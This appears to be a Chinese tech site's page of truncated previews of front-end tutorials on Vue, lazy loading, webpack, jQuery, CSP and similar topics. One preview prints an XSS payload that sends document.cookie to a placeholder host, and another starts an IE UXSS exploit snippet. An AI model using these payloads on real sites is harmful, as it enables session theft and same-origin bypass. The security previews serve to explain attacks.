在父页面中定义函数,再到子页面中调用。 父页面parent.html function getFrameId(f){ var frames = document.getElementsByTagName(“iframe”); //获取父页面所有iframe for(i=0;i
我们可以在属性前面加v-bind: 代表后面的属性值是从我们的vue对象中取得 demo如下:
原理: 图片的加载是由src引起的,当对src赋值时浏览器会请求图片资源,基于这个,可以利用html5的属性data-xxx来保存图片的路径,当我们需要加载图片的时候才将data-xxx的值赋予src。就能实现图片的按需加载了,也就是懒加载了 方法: 1.使用lazyload插件,引用jquery.js和jquery.lazyload.js 2.将img标签中的src属性赋值为加载图片,即一张临时的loading.gif图,将真正的图片路径放在data-original属性中 3.当JS监听到该图片元
每个JS定时器产生时会被系统分配一个id,这个id是正整数,而且一个页面里面的定时器id不重复,我们能用一个变量接收这个id,但是如果重复执行一条接收创建语句,那么你只能接收到最新创建的定时器的id,之前创建的定时器的id会被覆盖,但是定时器数量在增加,这就会导致界面一些功能错乱,解决方法就是在重复按开始按钮时,如果已经有了一个定时器那么就不执行语句,我列出了错误代码和三种解决方法,可以解决定时器重复创建问题。 ps:定时器id的配发是递增的,从1开始累加,但是有一个小细节,就是当你在一次页面运行的过程中,打个比方,你创建了第五个定时器,它的id为5,然后你把它销毁,再创建一个定时器,那么这个定时器的编号会是6,而不是5,5号id是不会因为第五个定时器器的销毁而可以被再次使用。
说到深拷贝与浅拷贝,为什么会有这两种概念呢,根本原因就在于js的两种数据类型:基本数据类型和引用数据类型,两种数据类型存储方式不同。
接 Webpack 打包 commonjs 和 esmodule 模块的产物对比 继续,这篇文章来测试下 commonjs 模块和 esmodule 混用的情况,也就是 import 导入 commonjs 的模块,require 导入 esomodule 的模块,看一下它们在 Webpack 下的产物。
脚本可同时位于 HTML 的 和 两个部分,通常的做法是把函数放入 部分,或者放在页面底部。这样就可以把它们放在同一处位置,不会干扰页面的内容
gitHub地址 1,移动端minimvvm框架qvm实现 qvm概念,一个适用于移动端的mini mvvm(什么是mvvm?没了解的同学自己去了解)框架。参考了angular和vuejs的设计实现思
每个公司业务不一样,此解决方案仅做参考 。 Git demo地址 前言 其实现在开发者解决多语言普遍三种解决方案: 第一个是为每个页面提供每种语言的相关页面。 第二种是把内容从表现形式中分离出来,做不同语言的内容文件。 其实第二种相对来说简单一点,那么开搞。 实现 思考 翻译公司给的有的excel有的是json文件,咱们就统一请求json文件吧; html中给标签加个lang属性,到时候页面加载时遍历所有这些有lang属性的标签去实现切换语言; js里的文字用方法实现转换语言; 把用户选
目录 1. 设置vue模板 2. vue语法--插值操作 3. 动态绑定属性--v-bind 一. 设置vue模板 我们经常新建一个vue项目的时候, 会写如下的一段代码 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> {{message}} <script src="../js/vue.js">
图片延迟加载/图片懒加载的作用:保证页面打开的速度(3s之后如果首页打不开被称为死亡页面) 原理: 1>对于首屏内容中的图片:首先给对应的区域一张默认图片占着位置(默认图需要非常的小,一般可以维持在5kb以内) 当首屏内容都加载完成后(或者也可以给一个延迟的时间),再开始加载真实的图片 2>对于其它屏中的图片:也是给一张默认的图片占位,当滚动条滚动到对应区域的时候,我们再开始加载真实的图片 网站性能优化的几种方式: 尽量减少向服务器请求的次数(减少http请求) css/js文件进行合并 icon图片也进
CSP 全名 内容安全策略(Content Security Policy) 主要用来防御:XSS CSP 基本思路 定义外部内容引用的白名单 例如 页面中有个按钮,执行的动作源于 http://a.com/x.js,但如果被攻击的话,有可能执行的是 http://b.com/x.js 浏览器可以下载并执行任意js请求,而不论其来源 CSP 的作用就是创建一个可信来源的白名单,使得浏览器只执行来自这些来源的资源,而不是盲目信任所有内容,即使攻击者可以找到漏洞来注入脚本,但是因为来源不包含在白
qvm概念,一个适用于移动端的mini mvvm(什么是mvvm?没了解的同学自己去了解)框架。参考了angular和vuejs的设计实现思路,并进行简化封装,目前使用的zepto基本依赖库,使用最少的代码实现了基础功能版。
thinkphp开发图片上传,图片异步上传是目前比较方便的功能,这里我就不写css文件了,将代码写出来。引入核心文件下载https://github.com/carlcarl/A...
<script src="https://unpkg.com/axios/dist/axios.min.js"></script>
json数据格式如下: data.json: { "configName": "英语测试作业", "promoter": "王小婷", "suggestion": "单词量不够,多背诵一点哦" } 1:div等文本或者textarea多行文本框赋值,使用.text()的方法赋值 $("#promoter").text(data.promoter); $("#suggestion").text(data.suggestion); 2:in
结果为什么是这样子的676? 因为a.c=666;其中666赋值给了v,然后在set里面计算,然后再get里面读取输出
图片的懒加载就是在页面打开的时候,不要一次性全部显示页面所有的图片,而是只显示当前视口内的图片,一般在移动端使用(PC端主要是前端分页或者后端分页)。
个人理解:将须要延迟载入的图片的src属性所有设置为一张同样尽可能小(目的是尽可能的少占宽带,节省流量,因为缓存机制,当浏览器载入了一张图片之后,同样的图片就会在缓存中拿。不会又一次到server上拿)的图片,然后将图片的实际地址写在alt属性里,当鼠标往下滑动的时候得到当前显示区域内的img的lz-src,动态的就将各自的lz-src属性的值赋值给src属性。这样就实现了图片延迟载入,减轻server端的压力,节省本地带宽,提升了訪问网页的速 插件源代码地址: https://raw.github.com/tuupola/jquery_lazyload/master/jquery.lazyload.js
这一节我们将从下面这一段代码开始增加内容,来看一下 gulp 的一些产能常用插件和使用的方式。
在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</script> 将
一张图片就是一个标签,浏览器是否发起请求图片是根据的src属性,所以实现懒加载的关键就是,在图片没有进入可视区域时,先不给的src赋值,这样浏览器就不会发送请求了,等到图片进入可视区域再给src赋值。
3. 第3部分controller.js 这一部分的功能就是要修改毛笔的颜色,还有清空画布。 功能简单,我们一起向下讲。 一开始依然是init controller.js
vue-mvvm模式,vue是一种轻量级的前端框架,主要为模板渲染,数据同步,组件化,模块化,路由等。
在几天前开源的华为 HarmonyOS (鸿蒙)中,提供了一种“微信小程序”式的跨平台开发框架,通过 Toolkit 将应用代码编译打包成 JS Bundle,解析并生成原生 UI 组件。
最近David Leo在Full Disclosure上爆出了一个ie的 uxss 漏洞,可以绕过ie的同源策略。FreeBuf也有相关的报道(点我查看)。本文简要分析一下这个漏洞的原理。 攻击过程 <iframe src="redirect.php"></iframe> <iframe src="https://www.google.com/images/srpr/logo11w.png"></iframe> <script> top[0].eval('_=top[1];alert();_.loc
如上代码所示,url 默认为’’ ,界面进来是空白界面 原因:web-view进来按照url默认值加载后不会再刷新界面,即使url赋值后也不会出来
要求:jQuery点击图片开启,再次点击图片关闭效果 2:获取选中的图片的状态 并以整型的格式传给后端
学习了这么多vue知识,我们其实已经可以用vue做很多事了,但是还有一个重要的事情,我们忘记说了,就是如何用vue发送http请求。
本文实例讲述了TP5(thinkPHP5框架)基于bootstrap实现的单图上传插件用法。分享给大家供大家参考,具体如下:
分享一个用原生JS实现的可拖拽照片墙,效果如下: 实现代码如下: <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type"
html5新增加了2个媒体标签音频(audio)和视频(video),这样就更便于我们进行媒体化元素的内容开发网页!!!
esModule通过该方法定义模块,重点在getter函数,通过闭包实现了esModule的特性:引用
简介与要点:在网页上制作一个音乐播放器我们仅需用到一个新的标签;因为我们这个音乐播放不是单曲循环的使用还要用到jQuery插件做一个下拉框式的选择切换功能,所以依旧要使用到jQuery插件;使用jQuery建立一个动态生成的歌曲选择器,再用jQuery设置点击事件或者焦点失去事件,只要能触发下面的切换效果就行
需求:点击颜色的input框的时候,会出现拾色器的插件,将自己选择的颜色的色号赋值给input里面,在插件库里面找到了一个UI样式还比较好看的插件,作了一些修改,符合项目需要,分享出来。
知识在于积累,踩坑越多,你越强😎 前言 用多了JQuery,习惯了使用JQuery的API操作DOM,几乎忘记了原生JS对DOM操作,今天在项目中遇到了文字和图片混输的情况,第一个想到的办法是用textarea实现,结果发现实现不了图片输入,然后想着找个富文本编辑器的插件实现,深思熟虑之后,我的需求好像也没那么复杂,不至于引用个插件,看了掘金的发布沸点功能,然后就模仿了其作法,于是就有了这篇文章的分享。先给大家展示下最后实现的效果😋 实现思路 •利用div的contenteditable属性,让div可
我们用v-for指令根据一组数组的选项列表进行渲染,v-for指令需要以item in items形式的特殊语法,items是源数据数组并且item是数组元素迭代的别名 基本用法
当我们的项目越来越大,webpack的配置项越来越多时,构建速度会越来越慢,所以我们需要通过一些配置来提高webpack的构建速度。
如果说php是世界上最好的语言,那么javascript无疑可以称为世界上最飘逸的语言,最近看了下jQuery的源码,实现了一个简陋的jQuery。我觉得要看懂jQuery整体结构,需要搞懂js作用域链,闭包,js prototype继承,关于闭包网络上的定义实在太多了,这里参照了js权威指南里的定义,感觉从js的角度好理解一点。
本质上,webpack 是一个现代 JavaScript 应用程序的静态模块打包器(module bundler)。当 webpack 处理应用程序时,它会递归地构建一个依赖关系图(dependency graph),其中包含应用程序需要的每个模块,然后将所有这些模块打包成一个或多个 bundle。
本文章学习的是 v3.4.1版本。unpkg.com源码地址:https://unpkg.com/jquery@3.4.1/dist/jquery.js
jQuery的使用非常方便,用 script 引入 js文件即可,然后找到DOM即可开始操作。 而 Vue3 也支持直接用 script 引入的方式,然后使用插值的方式绑定数据,我们来看一下使用方法:
在项目里,有时候会写这样的开关效果,点击开关来回切换,也就是jquery实现点击图片切换为另一图片,再次点击恢复到原图片。
但,收到很多朋友的反馈都是:源码晦涩难懂,时常看着看着就不知道我在看什么了,感觉缺乏一点动力,如果你可以出点面试中会问到的源码相关的面试题,通过面试题去看源码,那就很棒棒。
2.定义(注册)路由跳转的组件----使用全局扩展的方式,用其他创建组件的方式也可以 在这里,进行了一个赋值操作,用一个变量名保存组件中所有的内容
JavaScript 程序不能独立运行,它需要被嵌入 HTML 中,然后浏览器才能执行 JavaScript 代码。通过 script 标签(<script> js代码<script>)将 JavaScript 代码引入到 HTML 中,有两种方式:
第一步: 新建一个js文件,位置自己决定 const fsm = wx.getFileSystemManager() const FILE_BASE_NAME = 'tmp_base64src' function base64src (base64data, cb) { const [, format, bodyData] = /data:image\/(\w+);base64,(.*)/.exec(base64data) || [] if (!format) { return (new
前端工程师“Front-End-Developer”源自于美国。大约从2005年开始正式的前端工程师角色被行业所认 可,到了2010年,互联网开始全面进入移动时代,前端开发的工作越来越重要。 最初所有的开发工作都是由后端工程师完成的,随着业务越来越繁杂,工作量变大,于是我们将项目中 的可视化部分和一部分交互功能的开发工作剥离出来,形成了前端开发。 由于互联网行业的急速发展,导致了在不同的国家,有着截然不同的分工体制。 在日本和一些人口比较稀疏的国家,例如加拿大、澳洲等,流行“Full-Stack Engineer”,也就是我们通常 所说的全栈工程师。通俗点说就是一个人除了完成前端开发和后端开发工作以外,有的公司从产品设计 到项目开发再到后期运维可能都是同一个人,甚至可能还要负责UI、配动画,也可以是扫地、擦窗、写 文档、维修桌椅等等。 而在美国等互联网环境比较发达的国家项目开发的分工协作更为明确,整个项目开发分为前端、中间层 和后端三个开发阶段,这三个阶段分别由三个或者更多的人来协同完成。 国内的大部分互联网公司只有前端工程师和后端工程师,中间层的工作有的由前端来完成,有的由后端 来完成。 PRD(产品原型-产品经理) – PSD(视觉设计-UI工程师) – HTML/CSS/JavaScript(PC/移动端网页,实现网页端的视觉展示和交互-前端工程师)
领取专属 10元无门槛券
手把手带您无忧上云